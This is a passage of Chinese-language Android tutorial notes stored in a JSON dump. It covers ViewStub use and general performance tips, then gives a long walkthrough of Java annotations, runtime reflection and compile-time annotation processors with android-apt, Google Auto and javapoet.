ViewStub被展开后的布局所替换\n\tviewStub.setVisibility(View.VISIBLE);   \n\t// 获取展开后的布局\n\tmNetErrorView =  findViewById(R.id.network_unreachble); \n\t```\n\n- 减少不必要的`Inflate`                \n    如上一步中`stub.infalte()`后将该`View`进行记录或者是`ListView`中`item inflate`的时候。\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/性能优化.md",
    "content": "性能优化\n===\n\n代码优化原则:      \n---\n\n- 时间换时间：\n\t如禁用电脑的一些开机启动项，通过减少这些没必要的启动项的时间从而节省开机时间\n\t如网站界面上数据的分批获取，`AJAX`技术\n- 时间换空间：\n\t如拷贝文件时new一个字节数组当缓冲器，即`byte[] buffer = new byte[1024]`。\n\t为什么只`new`一个1024个字节的数组呢，`new`一个更大的字节数组不是一下就把文件拷贝完了么？这么做就是为了牺牲时间节省有限的内存空间\n- 空间换时间：\n\t如用`Windows`系统自带的搜索文件的功能搜索文件时会很慢，但是我们牺牲电脑硬盘空间安装一个`everything`软件来搜索文件就特别快\n- 空间换空间：\n\t如虚拟内存\n\t\n`Android`开发中的体现\n---\n\t\n- 采用硬件加速，在清单文件中`application`节点添加`android:hardwareAccelerated=”true”`。不过这个需要在`android 3.0`才可以使用。`android4.0`这个选项是默认开启的。\n- `View`中设置缓存属性`setDrawingCache`为`true`.\n- 优化你的布局.\n- 动态加载`View`. 采用`ViewStub`避免一些不经常的视图长期握住引用.\n- 将`Acitivity`中的`Window`的背景图设置为空。`getWindow().setBackgroundDrawable(null);``android`的默认背景是不是为空。\n- 采用`<merge>`优化布局层数。 采用`<include>`来共享布局。\n- 利用`TraceView`查看跟踪函数调用。有的放矢的优化。\n- `cursor`的使用。不过要注意管理好`cursor`,不要每次打开关闭`cursor`.因为打开关闭`Cursor`非常耗时。 `Cursor.require`用于刷`cursor`.\n- 采用`SurfaceView`在子线程刷新`UI`, 避免手势的处理和绘制在同一`UI`线程（普通`View`都这样做）。\n- 采用`JNI`，将耗时间的处理放到`c/c++`层来处理。\n- 有些能用文件操作的，尽量采用文件操作，文件操作的速度比数据库的操作要快10倍左右。\n- 避免创建不必要的对象\n- 如果方法用不到成员变量，可以把方法申明为`static`，性能会提高到15%到20%\n- 避免使用`getter/setter`存取`field`，可以把`field`申明为`public`，直接访问\n- `static`的变量如果不需要修改，应该使用`static final`修饰符定义为常量\n- 使用增强`for`循环,比普通`for`循环效率高，但是也有缺点就是在遍历 集合过程中，不能对集合本身进行操作\n- 合理利用浮点数，浮点数比整型慢两倍；\n- 针对`ListView`的性能优化\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/注解使用.md",
    "content": "注解使用\n===\n\n### 简介\n\n> Annotations, a form of metadata, provide data about a program that is not part of the program itself. Annotations have no direct effect on the operation of the code they annotate.\n\n更通俗的意思是为程序的元素（类、方法、成员变量）加上更直观更明了的说明，这些说明信息是与程序的业务逻辑无关，并且是供指定的工具或框架使用的。\n`Annontation`像一种修饰符一样，应用于包、类型、构造方法、方法、成员变量、参数及本地变量的声明语句中。\n\n`Annotation`其实是一种接口。通过反射来访问`annotation`信息。相关类（框架或工具中的类）根据这些信息来决定如何使用该程序元素或改变它们的行为。\n`Annotation`是不会影响程序代码的执行，无论`annotation`怎么变化，代码都始终如一地执行。\n`Java`语言解释器在工作时会忽略这些`annotation`，因此在`JVM`中这些`annotation`是“不起作用”的，只能通过配套的工具才能对这些`annontaion`类型的信息进行访问和处理。\n\n### 说明\n\n- `Annotation`的声明是通过关键字`@interface`。这个关键字会去继承`Annotation`接口。\n- `Annotation`的方法定义是独特的、受限制的。    \n   `Annotation`类型的方法必须声明为无参数、无异常的。这些方法定义了`Annotation`的成员: 方法名代表成员变量名，而方法返回值代表了成员变量的类型。而且方法的返回值类型必须是基本数据类型、`Class`类型、`String类型`、枚举类型、`Annotation`类型或者由前面类型之一作为元素的一维数组。方法的后面可以使用`default`和一个默认的数值来声明成员变量的默认值，`null`不能作为成员变量的默认值，这与我们平时的使用有很大的区别。 \n    注解如果只有一个默认属性，可直接用`value()`函数。一个属性也没有则表示该`Annotation`为`Mark Annotation`。\n    例如:\n   \n    ```java\n    public @interface UnitTest {\n         String value();\n    }\n    ```    \n    在使用时可以直接使用`@UnitTest(\"GCD\")`，`@UnitTest(\"GCD\"`实际上就是是 `@UnitTest(value=\"GCD)`的简单写法。  \n    例如:\n   \n    ```java\n    @Target(ElementType.METHOD)\n    @Retention(RetentionPolicy.RUNTIME)\n    public @interface UseCase {\n        public int id();\n        public String description() default \"no description\";\n    }\n    ```\n\n### 作用\n\n`Annotation`一般作为一种辅助途径，应用在软件框架或者工具中。让这些工具类可以根据不同的`Annotation`注解信息来采取不同的处理过程或者改变相应程的行为。具有“让编译器进行编译检查的作用”。   \n\n具体可分为如下三类:    \n\n- 标记，用于告诉编译器一些信息\n- 编译时动态处理，如动态生成代码\n- 运行时动态处理，如得到注解信息\n\n\n### Annotation分类    \n\n\n##### 标准的`Annotaion`    \n\n从`jdk 1.5`开始，自带了三种标准的`annotation`类型：   \n\n- `Override`    \n    它是一种`marker`类型的`Annotation`，用来标注方法，说明被它标注的方法是重载了父类中的方法。如果我们使用了该注解到一个没有覆盖父类方法的方法时，编译器就会提示一个编译错误的警告。   \n\n- `Deprecated`   \n    它也是一种`marker`类型的`Annotation`。当方法或者变量使用该注解时，编译器就会提示该方法已经废弃。\n\n- `SuppressWarnings`  \n    它不是`marker`类型的`Annotation`。用户告诉编译器不要再对该类、方法或者成员变量进行警告提示。   \n\n\n##### 元`Annotation`\n\n元`Annotation`是指用来定义`Annotation`的`Annotation`。  \n\n- `@Retention`          \n    保留时间，可为`RetentionPolicy.SOURCE(源码时)`、`RetentionPolicy.CLASS(编译时)`、`RetentionPolicy.RUNTIME(运行时)`，默认为`CLASS`。如果值为`RetentionPolicy.SOURCE`那大多都是`Mark Annotation`，例如:`Override`、`Deprecated`、`Suppress Warnings`。`SOURCE`表示仅存在于源码中，在`class`文件中不会包含。`CLASS`表示会在`class`文件中存在，但是运行时无法获取。`RUNTIME`表示会在`class`文件中存在，并且在运行时可以通过反射获取。    \n\n- `@Target`           \n    用来标记可进行修饰哪些元素，例如`ElementType.TYPE`、`ElementType.METHOD`、`ElementType.CONSTRUCTOR`、`ElementType.FIELD`、`ElementType.PARAMETER`等，如果未指定则默认为可修饰所有。\n- `@Inherited`                   \n    子类是否可以继承父类中的该注解。它所标注的`Annotation`将具有继承性。               \n    例如:   \n\n    ```java\n    java.lang.annotation.Inherited\n    \n    @Inherited\n    public @interface MyAnnotation {\n    \n    }\n    ```\n    \n    ```java\n    @MyAnnotation\n    public class MySuperClass { ... }\n    ```\n    \n    ```java\n    public class MySubClass extends MySuperClass { ... }\n    ```\n\n    在这个例子中`MySubClass`类继承了`@MyAnnotation`注解，因为`MySubClass`继承了`MySuperClass`类，而`MySuperClass`类使用了`@MyAnnotation`注解。   \n\n- `@Documented`      \n    是否会保存到`javadoc`文档中。  \n\n### 自定义`Annotation` \n\n假设现在有个开发团队在每个类的开始都要提供一些信息，例如:   \n\n```java\npublic class Generation3List extends Generation2List {\n\n   // Author: John Doe\n   // Date: 3/17/2002\n   // Current revision: 6\n   // Last modified: 4/12/2004\n   // By: Jane Doe\n   // Reviewers: Alice, Bill, Cindy\n\n   // class code goes here\n\n}\n```\n\n我们可以声明一个注解来保存这些相同的元数据。如下:\n    \n```java\n@interface ClassPreamble {\n   String author();\n   String date();\n   int currentRevision() default 1;\n   String lastModified() default \"N/A\";\n   String lastModifiedBy() default \"N/A\";\n   // Note use of array\n   String[] reviewers();\n}\n```\n声明完注解之后我们就可以填写一些参数来使用它，如下:\n   \n\n```java\n@ClassPreamble (\n   author = \"John Doe\",\n   date = \"3/17/2002\",\n   currentRevision = 6,\n   lastModified = \"4/12/2004\",\n   lastModifiedBy = \"Jane Doe\",\n   // Note array notation\n   reviewers = {\"Alice\", \"Bob\", \"Cindy\"}\n)\npublic class Generation3List extends Generation2List {\n\n// class code goes here\n\n}\n```\n\n### `Annotation`解析    \n\n当`Java`源代码被编译时，编译器的一个插件`annotation`处理器则会处理这些`annotation`。\n处理器可以产生报告信息，或者创建附加的`Java`源文件或资源。\n如果`annotation`本身被加上了`RententionPolicy`的运行时类，\n则`Java`编译器则会将`annotation`的元数据存储到`class`文件中。然后`Java`虚拟机或其他的程序可以查找这些元数据并做相应的处理。\n\n当然除了`annotation`处理器可以处理`annotation`外，我们也可以使用反射自己来处理`annotation`。`Java SE 5`有一个名为`AnnotatedElement`的接口，\n`Java`的反射对象类`Class`,`Constructor`,`Field`,`Method`以及`Package`都实现了这个接口。\n这个接口用来表示当前运行在`Java`虚拟机中的被加上了`annotation`的程序元素。\n通过这个接口可以使用反射读取`annotation`。`AnnotatedElement`接口可以访问被加上`RUNTIME`标记的`annotation`，\n相应的方法有`getAnnotation`,`getAnnotations`,`isAnnotationPresent`。\n由于`Annotation`类型被编译和存储在二进制文件中就像`class`一样，\n所以可以像查询普通的`Java`对象一样查询这些方法返回的`Annotation`。\n\n\n##### 运行时`Annotation`解析\n\n该类是指`@Retention`为`RUNTIME`的`Annotation`。      \n该类型的解析其实本质的使用反射。反射执行的效率是很低的         \n如果不是必要，应当尽量减少反射的使用，因为它会大大拖累你应用的执行效率。\n\n- 类注解\n\n    可以通过`Class`、`Method`、`Field`类来在运行时获取注解。下面是通过`Class`类获取注解的示例:    \n    \n    ```java\n    Class aClass = TheClass.class;\n    Annotation[] annotations = aClass.getAnnotations();\n    \n    for(Annotation annotation : annotations){\n        if(annotation instanceof MyAnnotation){\n            MyAnnotation myAnnotation = (MyAnnotation) annotation;\n            System.out.println(\"name: \" + myAnnotation.name());\n            System.out.println(\"value: \" + myAnnotation.value());\n        }\n    }\n    ```\n    也可以获取一个指定的注解类型:   \n    \n    ```java\n    Class aClass = TheClass.class;\n    Annotation annotation = aClass.getAnnotation(MyAnnotation.class);\n    \n    if(annotation instanceof MyAnnotation){\n        MyAnnotation myAnnotation = (MyAnnotation) annotation;\n        System.out.println(\"name: \" + myAnnotation.name());\n        System.out.println(\"value: \" + myAnnotation.value());\n    }\n    ```\n\n    `JDK`提供的主要方法有:    \n    \n    ```java\n    public <A extends Annotation> A getAnnotation(Class<A> annotationType) {\n        ...\n    }\n    \n    public Annotation[] getAnnotations() {\n        ...\n    }\n    \n    public boolean isAnnotationPresent(Class<? extends Annotation> annotationType) {\n        ...\n    }\n    ```\n\n- 方法注解\n\n    下面是一个方法使用注解的例子:   \n    \n    ```java\n    public class TheClass {\n      @MyAnnotation(name=\"someName\",  value = \"Hello World\")\n      public void doSomething(){}\n    }\n    ```\n    \n    你可以通过如下方式获取方法注解:    \n    \n    ```java\n    Method method = ... //obtain method object\n    Annotation[] annotations = method.getDeclaredAnnotations();\n    \n    for(Annotation annotation : annotations){\n        if(annotation instanceof MyAnnotation){\n            MyAnnotation myAnnotation = (MyAnnotation) annotation;\n            System.out.println(\"name: \" + myAnnotation.name());\n            System.out.println(\"value: \" + myAnnotation.value());\n        }\n    }\n    ```\n    也可以获取一个指定的方法注解，如下:    \n    \n    ```java\n    Method method = ... // obtain method object\n    Annotation annotation = method.getAnnotation(MyAnnotation.class);\n    \n    if(annotation instanceof MyAnnotation){\n        MyAnnotation myAnnotation = (MyAnnotation) annotation;\n        System.out.println(\"name: \" + myAnnotation.name());\n        System.out.println(\"value: \" + myAnnotation.value());\n    }\n    ```\n\n- 参数注解\n\n    在方法的参数中声明注解，如下:    \n    \n    ```java\n    public class TheClass {\n      public static void doSomethingElse(\n            @MyAnnotation(name=\"aName\", value=\"aValue\") String parameter){\n      }\n    }\n    ```\n    \n    可以通过`Method`对象获取到参数的注解，如下:          \n    ```java\n    Method method = ... //obtain method object\n    Annotation[][] parameterAnnotations = method.getParameterAnnotations();\n    Class[] parameterTypes = method.getParameterTypes();\n    \n    int i=0;\n    for(Annotation[] annotations : parameterAnnotations){\n      Class parameterType = parameterTypes[i++];\n    \n      for(Annotation annotation : annotations){\n        if(annotation instanceof MyAnnotation){\n            MyAnnotation myAnnotation = (MyAnnotation) annotation;\n            System.out.println(\"param: \" + parameterType.getName());\n            System.out.println(\"name : \" + myAnnotation.name());\n            System.out.println(\"value: \" + myAnnotation.value());\n        }\n      }\n    }\n    ```\n    注意，`Method.getParameterAnnotations()`方法会返回一个二维的`Annotation`数组，包含每个方法参数的一个注解数组。    \n\n- 变量注解\n\n    下面是一个变量使用注解的例子:    \n    ```java\n    public class TheClass {\n    \n      @MyAnnotation(name=\"someName\",  value = \"Hello World\")\n      public String myField = null;\n    }\n    ```  \n    \n    你可以像下面这样获取变量的注解:    \n    ```java\n    Field field = ... //obtain field object\n    Annotation[] annotations = field.getDeclaredAnnotations();\n    \n    for(Annotation annotation : annotations){\n        if(annotation instanceof MyAnnotation){\n            MyAnnotation myAnnotation = (MyAnnotation) annotation;\n            System.out.println(\"name: \" + myAnnotation.name());\n            System.out.println(\"value: \" + myAnnotation.value());\n        }\n    }\n    ```\n    \n    当然也可以获取一个指定的变量注解，如下:    \n    ```java\n    Field field = ... // obtain method object\n    Annotation annotation = field.getAnnotation(MyAnnotation.class);\n    \n    if(annotation instanceof MyAnnotation){\n        MyAnnotation myAnnotation = (MyAnnotation) annotation;\n        System.out.println(\"name: \" + myAnnotation.name());\n        System.out.println(\"value: \" + myAnnotation.value());\n    }\n    ```\n\n记下来我们来举个栗子,运行时注解示例:   \n\n相信很多人都知道`Butter Knife`。它里面就是使用了注解:  \n```java\n@BindView(R.id.user) EditText username;\n@BindView(R.id.pass) EditText password;\n\n@BindString(R.string.login_error) String loginErrorMessage;\n\n@OnClick(R.id.submit) void submit() {\n    // TODO call server...\n}\n```\n\n那我们就以`onClick`事件为例模仿着他去写一下。   \n\n```java\npublic class InjectorProcessor {    \n    public void process(final Object object) {        \n        Class class_=object.getClass();        \n        Method[] methods=class_.getDeclaredMethods();        \n        for (final Method method : methods) {            \n            onClick clickMethod=method.getAnnotation(onClick.class);            \n            if (clickMethod!=null) {                \n                if (object instanceof Activity) {                   \n                    for (int id : clickMethod.value()) {                        \n                        View view=((Activity) object).findViewById(id);                        \n                        view.setOnClickListener(new View.OnClickListener() {                            \n                            @Override                            \n                            public void onClick(View v) {                                \n                                try {                                    \n                                    method.invoke(object);                                \n                                } catch (IllegalAccessException e) {                                    \n                                    e.printStackTrace();                                \n                                } catch (InvocationTargetException e) {                                    \n                                    e.printStackTrace();                                \n                                }                            \n                            }                        \n                        });                    \n                    }                \n                }            \n             }        \n         }    \n    }\n}\n```\n\n使用:   \n\n```java\npublic class MainActivity extends AppCompatActivity {    \n    @Override    \n    protected void onCreate(Bundle savedInstanceState) {        \n        super.onCreate(savedInstanceState);        \n        setContentView(R.layout.activity_main);        \n        InjectorProcessor processor=new InjectorProcessor();        \n        processor.process(MainActivity.this);    \n    }    \n\n    @onClick({R.id.textview})    \n    public void click() {        \n        Toast.makeText(this, \"HHH\", Toast.LENGTH_SHORT).show();    \n    }\n}\n```\n\n很显然大神`JakeWharton`不会这样做的，毕竟反射会影响性能。   \n我们来看一下`ButterKnife`的源码:   \n```java\n@Target(METHOD)\n@Retention(CLASS)\n@ListenerClass(\n    targetType = \"android.view.View\",\n    setter = \"setOnClickListener\",\n    type = \"butterknife.internal.DebouncingOnClickListener\",\n    method = @ListenerMethod(\n        name = \"doClick\",\n        parameters = \"android.view.View\"\n    )\n)\npublic @interface OnClick {\n  /** View IDs to which the method will be bound. */\n  @IdRes int[] value() default { View.NO_ID };\n}\n```\n看到了吗？是编译型的注解。这样不会影响性能。\n\n\n\n一张图总结一下:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/java_annotation.jpg?raw=true)\n\n\n\n\n\n##### 编译时`Annotation`解析    \n\n在刚才介绍的运行时注解中，很多人肯定会说使用反射会影响性能，那有没有不影响性能的方式呢？当然有了，那就是编译时注解。在编译时会通过注解标示来动态生成一些类或者`xml`，而在运行时，这里注解是没有的，它会依靠动态生成的类来进行操作。所以它就和直接调用方法一样，当然不会有效率影响了。       \n\n该类型注解值是`@Retention`为`CLASS`的`Annotation`，由`APT(Annotaion Processing Tool)`自动进行解析。是在编译时注入，所以不会像反射一样影响效率问题。   \n\n根据`sun`官方的解释，`APT（annotation processing tool）`是一个命令行工具，\n它对源代码文件进行检测找出其中的`annotation`后，使用`annotation processors`来处理`annotation`。\n而`annotation processors`使用了一套反射`API`并具备对`JSR175`规范的支持。\n\n`annotation processors`处理`annotation`的基本过程如下：\n\n- `APT`运行`annotation processors`根据提供的源文件中的`annotation`生成源代码文件和其它的文件（文件具体内容由`annotation processors`的编写者决定）\n- 接着`APT`将生成的源代码文件和提供的源文件进行编译生成类文件。\n\n\n`APT`在编译时自动查找所有继承自`AbstractProcessor`的类，然后调用他们的`process`方法去处理，这样就拥有了在编译过程中执行代码的能力\n\n\n\n所以我们需要做的是:    \n\n- 自定义类继承`AbstractProcessor`\n- 重写`process`方法\n\n那我们就开始写:   \n\n```java\npublic class Processor extends AbstractProcessor{\n}\n```\n但是在`Android Studio`死活提示找不到`AbstractProcessor`类，这是因为注解是`javase`中`javax`包里面的，`android.jar`默认是不包含的，所以会编译报错.\n解决方法就是新建一个`Module`，在选择类型时将该`Module`的类型选为`Java Library`。\n然后在该`Module`中创建就好了`Processor`就好了，完美解决。 \n\n\n好，那我们就开始写个编译时处理的`demo` :  \n\n- `Android Studio`中创建一个`Android`工程。\n- 新建一个`Module`，然后选择`Java Library`类型(我的名字为`annotations`)，并且让`app`依赖该`module`。\n- 在`annotations`的`module`中创建注解类:\n\n    ```java\n    package com.charon;\n    \n    import java.lang.annotation.ElementType;\n    import java.lang.annotation.Retention;\n    import java.lang.annotation.RetentionPolicy;\n    import java.lang.annotation.Target;\n    \n    @Target(ElementType.METHOD)\n    @Retention(RetentionPolicy.CLASS)\n    public @interface AnnotationTest {\n        String value() default \"\";\n    }\n    ```\n- 然后在`annotations`的`module`自定义`Processor`类\n\n    ```java\n    package com.charon;\n    \n    import java.util.Set;\n    \n    import javax.annotation.processing.AbstractProcessor;\n    import javax.annotation.processing.RoundEnvironment;\n    import javax.annotation.processing.SupportedAnnotationTypes;\n    import javax.annotation.processing.SupportedSourceVersion;\n    import javax.lang.model.SourceVersion;\n    import javax.lang.model.element.Element;\n    import javax.lang.model.element.TypeElement;\n    \n    @SupportedAnnotationTypes(\"com.charon.AnnotationTest\")\n    @SupportedSourceVersion(SourceVersion.RELEASE_7)\n    public class TestProcessor extends AbstractProcessor {\n        @Override\n        public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {\n            System.out.println(\"process\");\n            for (TypeElement te : annotations) {\n                for (Element element : roundEnv.getElementsAnnotatedWith(te)) {\n                    AnnotationTest annotation = element.getAnnotation(AnnotationTest.class);\n                    String value = annotation.value();\n                    System.out.println(\"type : \" + value);\n                }\n            }\n            return true;\n        }\n    }\n    ```\n    注意:`@SupportedAnnotationTypes(\"com.charon.AnnotationTest\")`来指定要处理的注解类。\n    `@SupportedSourceVersion(SourceVersion.RELEASE_7)`指定编译的版本。这种通过注解指定编译版本和类型的方式是从`Java 1.7`才有的。\n    对于之前的版本都是通过重写`AbstractProcessor`中的方法来指定的。   \n\n- 注册处理器   \n    我们自定义了`Processor`那如何才能让其生效呢?就是在`annotations`的`java`同级目录新建`resources/META-INF/services/javax.annotation.processing.Processor`文件\n\n    ```java\n        - java\n        - META-INF\n            - services\n                - javax.annotation.processing.Processor\n    ```\n    然后在`javax.annotation.processing.Processor`文件中指定自定义的处理器，如:      \n    \n    ```java\n    com.charon.TestProcessor\n    ```\n    如果多个话就分行写。 \n\n    然后我们`Build`一下(命令行执行`./gradlew build`)，就能看到控制台打印出来如下的信息: \n    ```java\n    :app:compileReleaseJavaWithJavac\n    :app:compileReleaseJavaWithJavac - is not incremental (e.g. outputs have changed, no previous execution, etc.).\n    process\n    value : haha\n    process\n    ```\n\n    注意:千万不要去`logcat`中找信息，这是编译时注解。         \n    注意:一定要使用`jdk1.7`，`1.8`对注解的支持有`bug`。\n\n\n上面只是一个简单的例子，如果你想用编译时注解去做一些更高级的事情，例如自动生成一些代码，那你可能就会用到如下几个类库:   \n\n- [android-apt](https://bitbucket.org/hvisser/android-apt)\n- [Google Auto](https://github.com/google/auto)      \n- [Square javapoet](https://github.com/square/javapoet)\n\n\n这三个库分别的作用为:    \n\n- `android-apt`       \n    `Android Studio`原本是不支持注解处理器的, 但是用`android-apt`这个插件后, 我们就可以使用注解处理器了, \n    这个插件可以自动的帮你为生成的代码创建目录, 让生成的代码编译到`APK`里面去, 而且它还可以让最终编译出来的`APK`里面不包含注解处理器本身的代码,\n    因为这部分代码只是编译的时候需要用来生成代码, 最终运行的时候是不需要的。         \n    也就是说它主要有两个目的:    \n    \n    - 允许配置只在编译时作为注解处理器的依赖，而不添加到最后的`APK`或`library`\n    - 设置源路径，使注解处理器生成的代码能被`Android Studio`正确的引用\n\n    那在什么情况下我们会需要使用它呢？     \n    当你需要引入`Processor`生成的源代码到你的代码中时。例如当你使用`Dagger 2`或`AndroidAnnotaition`.\n    该插件使得`Android Studio`可以配置生成资源的`build path`,避免`IDE`报错。\n    当使用`apt`添加添加依赖，它将不会被包含到最终的`APK`里。\n\n\n- `Auto`     \n\n    `Google Auto`的主要作用是注解`Processor`类，并对其生成`META-INF`的配置信息，\n    可以让你不用去写`META-INF`这些配置文件，只要在自定义的`Processor`上面加上`@AutoService(Processor.class)`\n\n- `javapoet`     \n    `javapoet`:`A Java API for generating .java source files.`可以更方便的生成代码，它可以帮助我们通过类调用的形式来生成代码。   \n\n\n### 自定义编译时注解\n\n在自定义注解时，一般来说可能会建三个`modules`:  \n\n- `app module`:写一些使用注解的`android`应用逻辑。\n- `api module`:定义一些可以在`app`中使用的注解。它会被`app`以及`compiler`使用。\n- `compiler module`:定义`Processor`该`module`不会被包含到应用中，它只会在构建过程中被使用。在编译的过程中它会生成一些`java`文件，而这些`java`文件会被打包进`apk`中。\n    我们可以在该`module`中使用`auto`以及`javapoet`。  \n\n\n下面开始配置`android-apt`：   \n\n- 配置到`app module`下的`build.gradle`中\n\n    ```java\n    apply plugin: 'com.android.application'\n    // apt\n    apply plugin: 'com.neenbedankt.android-apt'\n    \n    android {\n        compileSdkVersion 23\n        buildToolsVersion \"23.0.3\"\n    \n        defaultConfig {\n            applicationId \"com.charon.annotationdemo\"\n            minSdkVersion 14\n            targetSdkVersion 23\n            versionCode 1\n            versionName \"1.0\"\n        }\n        buildTypes {\n            release {\n                minifyEnabled false\n                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            }\n        }\n        compileOptions {\n            sourceCompatibility JavaVersion.VERSION_1_7\n            targetCompatibility JavaVersion.VERSION_1_7\n        }\n    }\n    \n    buildscript {\n        repositories {\n            jcenter()\n        }\n        dependencies {\n            // 配置apt\n            classpath 'com.neenbedankt.gradle.plugins:android-apt:1.8'\n        }\n    }\n    \n    dependencies {\n        compile fileTree(dir: 'libs', include: ['*.jar'])\n        testCompile 'junit:junit:4.12'\n        compile 'com.android.support:appcompat-v7:23.4.0'\n        compile project(':api')\n        apt project(':compiler')\n    \n    }\n    ```\n\n- 接下来在`compiler module`中配置`auto`以及`javapoet`\n\n    ```java\n    apply plugin: 'java'\n    sourceCompatibility = JavaVersion.VERSION_1_7\n    targetCompatibility = JavaVersion.VERSION_1_7\n    dependencies {\n        compile project (':api')\n        compile 'com.google.auto.service:auto-service:1.0-rc2'\n        compile 'com.squareup:javapoet:1.7.0'\n    }\n    ```\n- 在`api module`中也加上如下的配置:   \n\n    ```java\n    apply plugin: 'java'\n    sourceCompatibility = JavaVersion.VERSION_1_7\n    targetCompatibility = JavaVersion.VERSION_1_7\n    ```\n\n- 接下来在`api module`中定义一个注解       \n    ```java\n    package com.charon;\n    \n    import java.lang.annotation.ElementType;\n    import java.lang.annotation.Retention;\n    import java.lang.annotation.RetentionPolicy;\n    import java.lang.annotation.Target;\n    \n    @Target(ElementType.METHOD)\n    @Retention(RetentionPolicy.CLASS)\n    public @interface AnnotationTest {\n        String value();\n    }\n    ```\n- 然后在`compiler module`中自定义一个`Processor`       \n\n    ```java\n    package com.charon;\n    \n    import com.google.auto.service.AutoService;\n    \n    import java.util.Set;\n    \n    import javax.annotation.processing.AbstractProcessor;\n    import javax.annotation.processing.ProcessingEnvironment;\n    import javax.annotation.processing.Processor;\n    import javax.annotation.processing.RoundEnvironment;\n    import javax.lang.model.SourceVersion;\n    import javax.lang.model.element.TypeElement;\n    \n    @AutoService(Processor.class)\n    public class MyProcessor extends AbstractProcessor {\n        /**\n         * Initializes the processor with the processing environment by\n         * setting the {@code processingEnv} field to the value of the\n         * {@code processingEnv} argument.  An {@code\n         * IllegalStateException} will be thrown if this method is called\n         * more than once on the same object.\n         *\n         * @param processingEnv environment to access facilities the tool framework\n         * provides to the processor\n         * @throws IllegalStateException if this method is called more than once.\n         */\n        @Override\n        public synchronized void init(ProcessingEnvironment processingEnv) {\n            super.init(processingEnv);\n        }\n    \n        /**\n         * Processes a set of annotation types on type elements originating from the prior round \n         * and returns whether or not these annotations are claimed by this processor. \n         * If true is returned, the annotations are claimed and subsequent processors will \n         * not be asked to process them; \n         * if false is returned, the annotations are unclaimed and subsequent processors may be \n         * asked to process them. A processor may always return the same boolean value \n         * or may vary the result based on chosen criteria.\n         * The input set will be empty if the processor supports \"*\" and the root elements \n         * have no annotations. A Processor must gracefully handle an empty set of annotations.\n         * @param annotations\n         * @param roundEnv\n         * @return\n         */\n        @Override\n        public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {\n            System.out.println(\"hello processor\");\n            return false;\n        }\n    \n        @Override\n        public Set<String> getSupportedAnnotationTypes() {\n            return super.getSupportedAnnotationTypes();\n        }\n    \n        @Override\n        public SourceVersion getSupportedSourceVersion() {\n            return SourceVersion.latestSupported();\n        }\n    \n    }\n    ```\n    \n    这里简单的说一下这几个主要的方法:   \n   \n    - `init()`:初始化操作的方法，`RoundEnvironment`会提供很多有用的工具类`Elements`、`Types`和`Filer`等。\n    - `process()`:这相当于每个处理器的主函数`main()`。在该方法中去扫描、评估、处理以及生成`Java`文件。 \n    - `getSupportedAnnotationTypes()`:这里你必须指定，该注解器是注册给哪个注解的。\n    - `getSupportedSourceVersion()`:用来指定你使用的`java`版本。通常这里会直接放回`SourceVersion.latestSupported()`即可。  \n\n    从`idk 1.7`开始，可以使用如下注解来代替`getSupporedAnnotationTypes()`和`getSupportedSourceVersion()`方法:    \n    ```java\n    @SupportedSourceVersion(SourceVersion.latestSupported())\n    @SupportedAnnotationTypes({\n       // 合法注解全名的集合\n     })\n    ```\n\n注解相关`API`:     \n\n- `Set<? extends Element> getElementsAnnotatedWith(Class<? extends Annotation> a)`    \n    返回使用给定注释类型注释的元素。该注释可能直接出现或者被继承。只返回注释处理的此`round`中包括的`package`元素和`type`元素、成员声明、参数或者这些元素中声明的类型参数。\n- `Element`         \n    表示一个程序元素，比如包、类或者方法。每个元素都表示一个静态的语言级构造（不表示虚拟机的运行时构造）。\n    元素应该使用`equals(Object)`方法进行比较。不保证总是使用相同的对象表示某个特定的元素。\n    要实现基于`Element`对象类的操作，可以使用`visitor`或者使用`getKind()`方法的结果。使用`instanceof`确定此建模层次结构中某一对象的有效类未必可靠，因为一个实现可以选择让单个对象实现多个`Element`子接口。\n\n- `TypeElement`\n    表示一个类或接口程序元素。提供对有关类型及其成员的信息的访问。注意，枚举类型是一种类，而注释类型是一种接口。\n    而`DeclaredType`表示一个类或接口类型，后者将成为前者的一种使用（或调用）。这种区别对于一般的类型是最明显的，对于这些类型，单个元素可以定义一系列完整的类型。\n    例如，元素`java.util.Set`对应于参数化类型`java.util.Set<String>`和`java.util.Set<Number>`（以及其他许多类型），还对应于原始类型`java.util.Set`。\n\n\n\n扯远了，那我们就以上面的目录结构和实现方式，通过一个具体的例子要详细说明，例子真的很难找，我在网上找到了一个大神写的，虽然从这个例子中并不能看出注解的强大之处，但是对于讲解来说还是非常有用的: \n\n我们要解决的问题是我们想要实现一个披萨店，该店会提供两种披萨(`Margherita`和`Calzone`)和一种甜点(`Tiramisu`)。\n\n首先我们在`app module`中创建对应的接口和代码 ，如下:      \n\n```java\npublic interface Meal {  \n  public float getPrice();\n}\n\npublic class MargheritaPizza implements Meal {\n\n  @Override public float getPrice() {\n    return 6.0f;\n  }\n}\n\npublic class CalzonePizza implements Meal {\n\n  @Override public float getPrice() {\n    return 8.5f;\n  }\n}\n\npublic class Tiramisu implements Meal {\n\n  @Override public float getPrice() {\n    return 4.5f;\n  }\n}\n```\n如果消费者想要下单，那么它需要输入对应的物品名字:   \n```java\npublic class PizzaStore {\n\n  public Meal order(String mealName) {\n\n    if (mealName == null) {\n      throw new IllegalArgumentException(\"Name of the meal is null!\");\n    }\n\n    if (\"Margherita\".equals(mealName)) {\n      return new MargheritaPizza();\n    }\n\n    if (\"Calzone\".equals(mealName)) {\n      return new CalzonePizza();\n    }\n\n    if (\"Tiramisu\".equals(mealName)) {\n      return new Tiramisu();\n    }\n\n    throw new IllegalArgumentException(\"Unknown meal '\" + mealName + \"'\");\n  }\n\n  public static void main(String[] args) throws IOException {\n    PizzaStore pizzaStore = new PizzaStore();\n    Meal meal = pizzaStore.order(readConsole());\n    System.out.println(\"Bill: $\" + meal.getPrice());\n  }\n```\n这样的话在`order()`方法中，会有很多`if`语句，并且每当我们添加一种新的披萨，我们都要添加一条新的`if`语句。但是我们可以使用注解和工厂模式，我们就可以让注解来自动生成这些在工厂中的`if`语句。我们期待的代码如下:   